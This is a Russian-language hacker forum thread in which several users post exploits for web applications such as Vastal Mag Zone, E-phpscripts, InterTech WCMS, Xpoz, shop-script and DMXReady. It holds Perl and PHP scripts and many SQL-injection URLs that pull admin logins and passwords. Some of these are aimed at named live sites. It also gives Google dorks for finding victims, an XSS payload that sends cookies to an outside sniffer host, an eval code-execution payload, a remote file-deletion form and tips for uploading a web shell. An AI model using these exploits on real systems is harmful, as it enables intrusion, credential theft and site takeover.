$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727");
if($ARGV[2]){
                $ua->proxy('http',"http://".$ARGV[2]."/");
                  }

$answ = $ua->get("http://$ARGV[0]/view_mag.php?mag_id=-1+union+select+1,2,3,concat(0x3a3a3a,user_name,0x3a,password,0x3a3a3a),5,6,7,8,9,10,11,12,13,14,15,16,17+from+members/*")->content;
$answ =~m#:::(.+):(.+):::#;
if(!$1) {print "\nExploit failed!";}
else { print "\n\nlogin : $1\npassword : $2\n"; }

sub usage
{
    print q
    {
    ######################################################################
              Vastal I-Tech Mag Zone (mag_id) SQL Injection Exploit 
     
        INFO:
            Author: ZAMUT
            Vuln: mag_id=
            Homepage: http://antichat.ru

    Usage: exploit.pl [path] [proxy]
    Example:
    perl exploit.pl www.vastal.com/mag 62.123.110.134:8080
    ######################################################################
    };

}
Используется так:
perl exploit.pl [полный путь до скрипта] [прокси:порт]
Пример:
perl exploit.pl www.vastal.com/mag 62.123.110.134:8080 или
perl exploit.pl www.vastal.com/mag
Поддержка только http - прокси.

ZAMUT 09.09.2008 15:07
E-phpscripts CMS Arya
Оф.сайт: ephpscripts.com
Дата: 09.09.08
Автор: ZAMUT
Дорк: inurl:article.php es_id

Описание:
Уязвимость существует из-за недостаточной фильтрации входящего параметра, передаваемого через $_GET массив,
атакуещему позволяет провести SQL - инъекцию.
Способы устранения уязвимости:
проводить жесткую фильтрацию параметров перед передачей их в SQL - запрос.
Подробнее:
Анти SQL-injection
Защита от SQL-injection
Ограничения: Нету

Эксплоит:
PHP код:
/article.php?es_id=-1+union+select+1,concat_ws(0x3a,es_username,es_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+esnm_admin/*&cid=2 
Структура бд:
Код:
Table [information_schema]
Table [VIEWS]
    TABLE_SCHEMA
    TABLE_NAME
    VIEW_DEFINITION
    CHECK_OPTION
    IS_UPDATABLE
    DEFINER
    SECURITY_TYPE
Table [alpinein_cmsalpine]
Table [es_country]
    id
Table [esnm_admin]
    es_username
    es_password
    es_level
    es_blocked
Table [esnm_announcements]
    es_text
    es_type
    es_temp
    es_postedon
Table [esnm_articles]
    es_title
    es_sum
    es_desc
    es_img
    es_hide
    tempdate
    es_date
    es_postedon
    es_modifiedon
    es_uid
    es_cid
    es_top_banner
    es_left_banner
    es_order_index
Table [esnm_categories]
    es_cat_name
    es_pid
    es_status
    es_cat_description
    es_top_banner
    es_left_banner
    es_order_index
Table [esnm_config]
    es_site_name
    es_site_root
    es_html_header
    es_html_footer
    es_recperpage
    es_image_size
    es_site_keywords
    es_thumb_size
    es_mem_approval
    es_signup_verification
    es_null_char
    es_admin_email
    es_logincheck
    es_welcome_msg
    es_general_notice
Table [esnm_country]
    id
Table [esnm_events]
    es_title
    es_desc
    tempdate
    es_postedon
    es_approved
    es_featured
Table [esnm_feedback]
    es_fname
    es_lname
    es_email
    es_url
    es_title
    es_comments
Table [esnm_form_fields]
    es_type
    es_name
    es_label
    es_int_value
    es_req
    es_display
    es_width
    es_num_lines
    es_is_num
    es_formid
    es_order_index
Table [esnm_forms]
    es_title
    es_submit_mail
Table [esnm_front_cats]
    es_cid
    es_show_desc
    es_rec
    es_order
Table [esnm_mails]
    es_mailid
    es_fromid
    es_title
    es_subject
    es_mail
    es_status
    es_html_format
Table [esnm_members]
    es_username
    es_password
    es_label
    es_firstname
    es_lastname
    es_email
    es_street
    es_city
    es_state
    es_zip
    es_country
    tempdate
    es_ondate
    es_lastlogin
    es_suspended
    es_phone
    es_mobile
    es_paid
    es_general_notice
Table [esnm_pages]
    es_title
    es_contents
    es_top_banner
    es_left_banner
Table [esnm_signups]
    es_rnum
    es_email
    es_onstamp
Table [esnm_subscribers]
    es_name
    es_email
Table [esnm_subscribers1]
    es_name
    es_email
Table [esnm_testimonials]
    es_desc
    es_from
    tempdate
    es_postedon
Пример:
Код:
prescare.org.au/article.php?es_id=-1+union+select+1,concat_ws(0x3a,es_username,es_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+esnm_admin/*&cid=2

ZAMUT 30.09.2008 19:14
InterTech WCMS SQL-injection Exploit
Оф.сайт: intertech-pal.com
Дата: 30.09.08
Первоисточник: http://www.securitylab.ru/vulnerability/360260.php (эксплоита нет)
Дорк: "Designed by: InterTech Co" id

Описание:
Уязвимость существует из-за недостаточной (или ее отсутствии вовсе) фильтрации входящего параметра, передаваемого через $_GET массив,
атакуещему позволяет провести SQL - инъекцию.
Способы устранения уязвимости:
проводить жесткую фильтрацию параметров перед передачей их в SQL - запрос.
Подробнее:
Анти SQL-injection
Защита от SQL-injection
Ограничения: Нету

Эксплоит:
PHP код:
<?php

// Coded by ZAMUT

$host = 'www.intertech-pal.com'; # Сайт
$path = '/panorama2/'; # Путь до скрипта
$port = 80; # Порт

echo "Exploiting $host<br><br>";
$sock = fsockopen($host,$port);
if(!$sock)die("failed\n"); else echo "Connecting $host .. -OK<br><br>";


$packet = "GET http://{$host}{$path}etemplate.php?id=-1+union+select+1,2,3,concat(0x3a3a3a,username,0x3a,password,0x3a3a3a),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users+limit+0,1/* HTTP/1.0\r\n";
$packet.= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,";
$packet.= "application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n";
$packet.= "Accept-Language: ru\r\n";
$packet.= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.= "Proxy-Connection: Keep-Alive\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
fputs($sock,$packet);

while(!feof($sock))
{
        $resp.=fgets($sock,512);
        if(preg_match("/:::(.+):::/",$resp,$m)){ break; }
}
fclose($sock);

echo "Data (Username, password):<br>";
echo "$m[1]<br>";

?>

Corwin 08.11.2008 11:05
Xpoz SQL-INJECTION, XSS
 
с этим адвайсом получилась странная история - после отправки строку на милворм, через 2 дня я увидел его(в урезанном виде) на милворме, но авторство принадлежало каким-то непонятным хенкерам, на что str0ke только развел руками и сказал что они прислали на день раньше. :confused: ну да не важно, все-таки выложу здесь.

================================================== ==============================
|| Xpoz SQL-INJECTION, XSS
================================================== ==============================

Application: Xpoz PRO (Expoze Photo Store)

Website: http://xpoze.org

Version: All(current 1.0)

About: Xpoze is a photo store very easy to use, yet having lots of features to help buyers and sellers to find or sell images after their needs.

Googledork: Powered by Powered by Xpoze.org

Date: 01-07-2008

Description:
Множественные уязвимости типа SQL-injection, Blind-injection, активные и пассивные XSS.

[ SQL-INJECTION ]

some...

http://host/home.html?menu=1[SQL]
http://host/user.html?uid=1[SQL]
http://host/account/admin/edite.html?eid=1[SQL]
http://host/video.html?limiter=0&c=1[SQL]

And other vulnerable files:
---------------------------
// $p=[admin, editor, user, photo]

[ members/$p/edite.inc ]

PHP код:
 12:   if (isset($delete)) {           $ph = mysql_query("SELECT * FROM `photos` WHERE `id`='$delete'") or die(mysql_error());           $row = mysql_fetch_assoc($ph);           $url = "../photos/".$row['photo'];           $thumb_url = "../thumbs/".$row['photo'];     18:   mysql_query("DELETE from `photos` WHERE `id`='$delete'") or die(mysql_error()); 
187(171 or 163):     $ph = mysql_query("SELECT * FROM `photos` WHERE `hash`='$hash'") or die(mysql_error()); 
[ members/$p/editp.inc ]

PHP код:
 $sql = mysql_query("SELECT * FROM `photos` WHERE `id`='$pid'") or die(mysql_error()); 
[ include/img.rating.php ]

PHP код:
 $rat = mysql_query("SELECT * FROM `ratings` WHERE `photo`='$id'") or die(mysql_error());             $rates = mysql_num_rows($rat); 
ETC...

===>>> Exploit:

http://host/user.html?uid=-1%20union%20select%201,user,1,1,1,pass,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20 users%20limit%203,1/*

(!) Пароль в БД в открытом виде (!)

[ ACTIVE XSS ]

В форуме отсутствует фильтрация полей темы и сообщения.

===>>> Exploit:

<script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script>

[ PASSIVE XSS :) ]

http://host/?tpl=[XSS]


PHPInfo - http://host/info.php

aka PSIH 15.12.2008 15:02
Absolute shopping cart

Сайт: http://www.absoluteshoppingcart.co.uk
Цена: от £19.99
------
SQL-Injection
Цитата:
http://victim.com/latest_detail.asp?prod_id=147&id=&grpid=1+and+1=2+union+select+1,2,3,4,5,6,7,8, 9/*
prod_id должен быть реальным..

fominsa 23.12.2008 16:56
shop-script 1.24
 
shop-script 1.24
скрипт - один из самых распрастраненых движков интернет магазина. сейчас сняли с продажи, так как запустили новый скрипт. но shop-script 'ом все еще активно пользуются и не спешат переходить на новый продукт.

magic_quotes_gpc = OFF

Sql Injection:
проверка на уязвимость:
PHP код:
http://fanataudio.ru/cart.php?add2cart=120000%23'+OR+ascii(substring((select+Login+from+SS_customers+where+customerID%3D1)%2C1%2C1))>0+and+''%3D' 
если товар (любой) добавился то сайт уязвим

уязвимая переменная add2cart
так как поля не выводятся то вытащить пароль админа можно перебором по буковке.
пароль зашифрован base64 тоесть открыт
логин не зашифрован, в 99.9% админ это юсер с customerID=1
и в 80% его логин admin

google: inurl:"index.php?feedback=yes"
примерно 1500 сайтов


приведен реальный пример уязвимого сайта


кстати для тех кто взламал логин/пароль магазина: добавить шелл можно через добавление нового товара. просто указываете что товар является програмой. в путь выбираете любой файл шелла
не забудьте перед тем как добавить шелл залить файл .htaccess со значением Allow from all

[Raz0r] 05.01.2009 19:01
Post Affiliate Pro <=3.0.6 Code Execution
 
Post Affiliate Pro

Версия: 3.0.6 и более ранние
Дорк: inurl:affiliates intext:"version 3.0." "generated in" "DB Requests"

Уязвимый код:

/affiliate/include/Affiliate/Merchants/Views/ResourceBrowser.class.php:

PHP код:
function process() {
        if(!empty($_REQUEST['action'])) {
            switch($_REQUEST['action']) {
                case 'addheader':
                    $this->processAddHeader();
                    break;
                /**/
            }
        } 
PHP код:
function processAddHeader() {
        if($_REQUEST['commited'] == 'yes') {
            $name = $_REQUEST['header_name'];
            $caption = $_REQUEST['header_caption'];
            if(!empty($name) && !empty($caption)) {
                $this->menu->createMenuHeader($name, $caption);
                $this->menu->save();
                return true;
            } /**/
    } 
/affiliate/include/QUnit/UI/Menu.class.php

PHP код:
function createMenuHeader($name, $caption) {
        if($caption != '') eval("\$caption = $caption;");
        /**/
    } 
Эксплоит:
/affiliate/merchants/styles.php?md=Affiliate_Merchants_Views_ResourceBr owser&action=addheader&commited=yes&header_name=lo lol&header_caption=phpinfo()

baltazar 11.01.2009 02:32
Citrix NetScaler v.7

Уязвимый Файл: generic_api_call.pl

XSS:
Код:
http://site/ws/generic_api_call.pl?function=statns&stan
dalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

Iceangel_ 11.01.2009 21:39
Продукт: ArticleLive (Interspire Website Publisher)
Версия: NX.1.7.1.2(возможно и более ранние версии)
Веб-сайт разработчика:http://www.interspire.com/
Цена:$249
Уязвимый скрипт:blogs.php?id={SQL-injection}

Пример:
Код:
http://www.journalismproject.ca/english_new/blogs.php?id=-768+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,144,15,16,17,18,19,20,21,22,23,24,25,26,27+from+ArticleLive_users+limit+0,1--
(c) IceAngel_

z00MAN 15.01.2009 08:27
DMXReady Scripts
http://www.dmxready.com

Уязвимость: Remote Files Delete Vulnerability


Продукт: DMXReady Blog Manager <= 1.1
Цена: 199.97 $
Dork : inurl:inc_webblogmanager.asp
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ajann Exp</title>
</head>

<body>
<p>Delete File : )</p>
<p>Form Action: http://target/[path]/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp?ffilter=</p>
<form id="form1" name="form1" method="post" action="http://target/[path]/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp?ffilter=">
  <label>
  <input type="hidden" name="inpCurrFolder" value="" />
  </label>
  <p>
    <label>
    Delete File Path:
    <input type="text" name="inpFileToDelete" value="/shots/index.asp">
    </label> 
    etc..
</p>
  <p>
    <label>
    <input type="submit" name="ff" id="ff" value="Submit" />
    </label>
  </p>
</form>
<p><br />
</p>
</body>
</html> 
Уязвимость: Contents Change Vulnerability

Продукт: DMXReady PayPal Store Manager <= 1.1
Цена: 129.97 $
Dork: inurl:inc_paypalstoremanager.asp

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

You Find -> http://[target]/[path]//applications/PayPalStoreManager/inc_paypalstoremanager.asp
Edit -> http://[target]/[path]//admin/PayPalStoreManager/CategoryManager/list.asp

Продукт: DMXReady Photo Gallery Manager <= 1.1
Цена: 39.97 $
Dork: inurl:inc_photogallerymanager.asp
Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload


You Find -> http://[target]/[path]//applications/PhotoGalleryManager/inc_photogallerymanager.asp
Edit -> http://[target]/[path]//admin/PhotoGalleryManager/add_category.asp


Продукт: DMXReady Registration Manager <= 1.1
Цена: 49.97 $
Dork: inurl:inc_registrationmanager.asp

Permissions:
Update
Delete
Insert Category / Sub Category

You Find -> http://[target]/[path]//applications/RegistrationManager/inc_registrationmanager.asp
Edit -> http://[target]/[path]//admin/RegistrationManager/add_category.asp

Продукт: DMXReady BillboardManager <= 1.1
Цена: 49.97 $

Permissions:
Update
Delete
Insert Category / Sub Category

You Find -> http://[target]/[path]//applications/BillboardManager/
Edit ->
http://www.demo.dmxready.com/admin/BillboardManager/add_category.asp

Уязвимость: Remote Contents Change Vulnerability



Продукт: DMXReady Catalog Manager <= 1.1
Цена: 149.97 $
Dork: inurl:inc_catalogmanager.asp

Permissions:
Update
Delete
Insert Category / Sub Category

You Find -> http://[target]/[path]//applications/RegistrationManager/inc_registrationmanager.asp
Edit -> http://[target]/[path]//admin/RegistrationManager/add_category.asp

Продукт: DMXReady Contact Us Manager <= 1.1
Цена: 49.97 $
Dork: inurl:inc_contactusmanager.asp

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

You Find -> http://[target]/[path]//applications/ContactUsManager/inc_contactusmanager.asp
Edit -> http://[target]/[path]//admin/ContactUsManager/add_category.asp

Продукт: DMXReady Document Library Manager <= 1.1
Цена: 39.97 $
Dork: inurl:inc_documentlibrarymanager.asp

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

You Find -> http://[target]/[path]//applications/DocumentLibraryManager/inc_documentlibrarymanager.asp
Edit -> http://[target]/[path]//admin/DocumentLibraryManager/add_category.asp

Продукт: DMXReady Faqs Manager <= 1.1
Цена: 24.97 $
Dork: inurl:inc_faqsmanager.asp

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

You Find -> http://[target]/[path]//applications/FaqsManager/inc_faqsmanager.asp
Edit -> http://[target]/[path]//admin/FaqsManager/add_category.asp

Продукт: DMXReady Job Listing <= 1.1
Цена: 49.97 $
Dork: inurl:inc_joblistingmanager.asp

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

You Find -> http://[target]/[path]//applications/JobListingManager/inc_joblistingmanager.asp
Edit -> http://[target]/[path]//admin/JobListingManager/CategoryManager/list.asp

Продукт: DMXReady Links Manager <= 1.1
Цена: 24.97 $
Dork: inurl:inc_linksmanager.asp

Permissions:
Update
Delete
Insert Category / Sub Category

You Find -> http://[target]/[path]//applications/LinksManager/inc_linksmanager.asp
Edit -> http://[target]/[path]//admin/LinksManager/add_category.asp

Уязвимость: SQL Injection Vulnerability


Продукт: DMXReady Classified Listings Manager <= 1.1
Цена: 99.97 $
Dork: inurl:inc_classifiedlistingsmanager.asp
Admin Login: http://[target]/[path]//admin/ClassifiedListingsManager/manage.asp

USERNAME->
Код:
http://[target]/[path]/admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminUserName,2,5,9,3 from tblCLM_config
PASSWORD->
Код:
http://[target]/[path]///admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminPassword,2,5,9,3 from tblCLM_config
Продукт: DMXReady Member Directory Manager <= 1.1
Цена:99.97 $
Dork: inurl:inc_memberdirectorymanager.asp
Admin Login: http://[target]/[path]/admin/MemberDirectoryManager/admin.asp

USERNAME->
Код:
http://[target]/[path]/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminUserName,4,3,2,1 from tblMDM_config
PASSWORD->
Код:
http://[target]/[path]/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminPassword,4,3,2,1 from tblMDM_config
Продукт: DMXReady Members Area Manager <= 1.2
Цена: 149.97 $
Dork: inurl:inc_membersareamanager.asp
Admin Login: http://[target]/[path]/admin/MembersAreaManager/admin.asp

USERNAME->
Код:
http://[target]/[path]/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=-12312312 union select 1,Security_AdminUserName,3,4,5,6 from tblConfig
PASSWORD->
Код:
http://[target]/[path]/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=-12312312 union select 1,Security_AdminPassword,3,4,5,6 from tblConfig
Продукт: DMXReady SDK <= 1.1
Уязвимость: Remote File Download Vulnerability
Цена:389.97 $

Код:
http://[target]/path/control_panel/download_link.asp?filename=inc_faqsmanager_qs_jump_menu.asp&filelocation={FILE PATH}
Продукт: DMXReady Secure Document Library <= 1.1
Уязвимость: Remote SQL Injection Vulnerability
Цена:189.97 $
Admin Login:http://[target]/[path]/admin/SecureDocumentLibrary/admin.asp

USERNAME->
Код:
http://[target]/[path]/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig
PASSWORD->
Код:
http://[target]/[path]/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig
Продукт: DMXReady Billboard Manager <= 1.1
Уязвимость: Remote File Upload Vulnerability
Цена:49.97 $
Dork: inurl:inc_billboardmanager.asp?ItemID=

# http://[target]/[path]/admin/BillboardManager/upload_document.asp?ItemID=[ItemID]

ItemID= 1,2,3,4,5.......

Example:
You Find -> http://[target]/[path]//applications/BillboardManager/inc_billboardmanager.asp
Edit -> http://[target]/[path]//admin/BillboardManager/upload_document.asp?ItemID=[ItemID]

DMXReady BillboardManager <= 1.1 Contents Change Vulnerability find by x0r
all other vulnerability found by ajann

cr0w 01.03.2009 07:23
S.Builder CMS RFI/LFI
 
Сайт разработчика: http://www.sbuilder.ru
Уязвимые версии: тестировалось на версии 3.7, но, вероятно, уязвимость присутствует и в следующих версиях.

Описание:

Движок этой cms создает файлы сайта (index.php, etc) с кодом вида:
Код:
<?php if (!isset($GLOBALS['binn_include_path'])) $GLOBALS['binn_include_path'] = ''; ?>

// ...

<?php
        include_once($GLOBALS['binn_include_path'].'prog/pl_menu/show_menu.php');
        // ...
?>
// ...
При register_globals = On, можно записать собственный путь в переменную binn_include_path, и провести атаку LFI или RFI (при allow_url_fopen=On), в случае с LFI, отрезав добавляемый в include_once() путь при помощи null-byte или php path truncation attack.


Время: 07:37
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице